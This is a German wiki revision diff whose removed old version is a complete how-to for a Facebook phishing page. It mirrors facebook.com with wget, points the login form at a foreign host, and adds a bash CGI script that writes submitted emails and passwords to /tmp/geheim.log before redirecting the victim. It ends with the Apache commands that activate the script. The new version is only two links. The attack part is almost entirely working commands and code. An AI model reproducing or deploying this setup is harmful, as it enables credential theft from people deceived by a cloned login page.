|
|
| (9 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt) |
| Zeile 1: |
Zeile 1: |
| ==install== | | =Abziehen der Seite= |
| apt-get install apache2
| | *[[HTTrack anwenden]] |
| cd /var/www/
| | =Apache2 konfigurieren= |
| rm -r html
| | *[[HTTP2 Apache2 Webseite]] |
| ==abziehen der Seite==
| |
| wget -l 1 -r https://www.facebook.com
| |
| mv https://www.facebook.com html
| |
| *besser mit browser | |
| | |
| ==manipulation==
| |
| ersetze in index.html
| |
| action="https://www.facebook.com/login.php?login_attempt=1&lwv=110"
| |
| durch
| |
| action="http://noezel.tuxmen.de/cgi-bin/login.cgi"
| |
| | |
| ==cgi erstellen==
| |
| /usr/lib/cgi-bin/login.cgi
| |
| <pre>
| |
| #!/bin/bash
| |
| if [ "$REQUEST_METHOD" = "POST" ]; then
| |
| if [ "$CONTENT_LENGTH" -gt 0 ]; then
| |
| read -n $CONTENT_LENGTH POST_DATA <&0
| |
| fi
| |
| fi
| |
| MAIL=$(echo $POST_DATA | cut -f 2 -d "&")
| |
| PASS=$(echo $POST_DATA | cut -f 3 -d "&")
| |
| echo "$MAIL $PASS" >> /tmp/geheim.log
| |
| | |
| cat<<HERE
| |
| <!doctype html>
| |
| | |
| <html>
| |
| <meta http-equiv="refresh" content="0; url=http://noezel.tuxmen.de/" />
| |
| </html>
| |
| HERE
| |
| </pre>
| |
| | |
| =X Recht setzen=
| |
| *chmod +x /usr/lib/cgi-bin/login.cgi | |
| | |
| ==cgi aktivieren==
| |
| in der conf einkommentieren
| |
| *Include conf-available/serve-cgi-bin.conf
| |
| und
| |
| *a2enmod cgid
| |
| | |
| ==Apache neustarten==
| |
| service apache2 restart
| |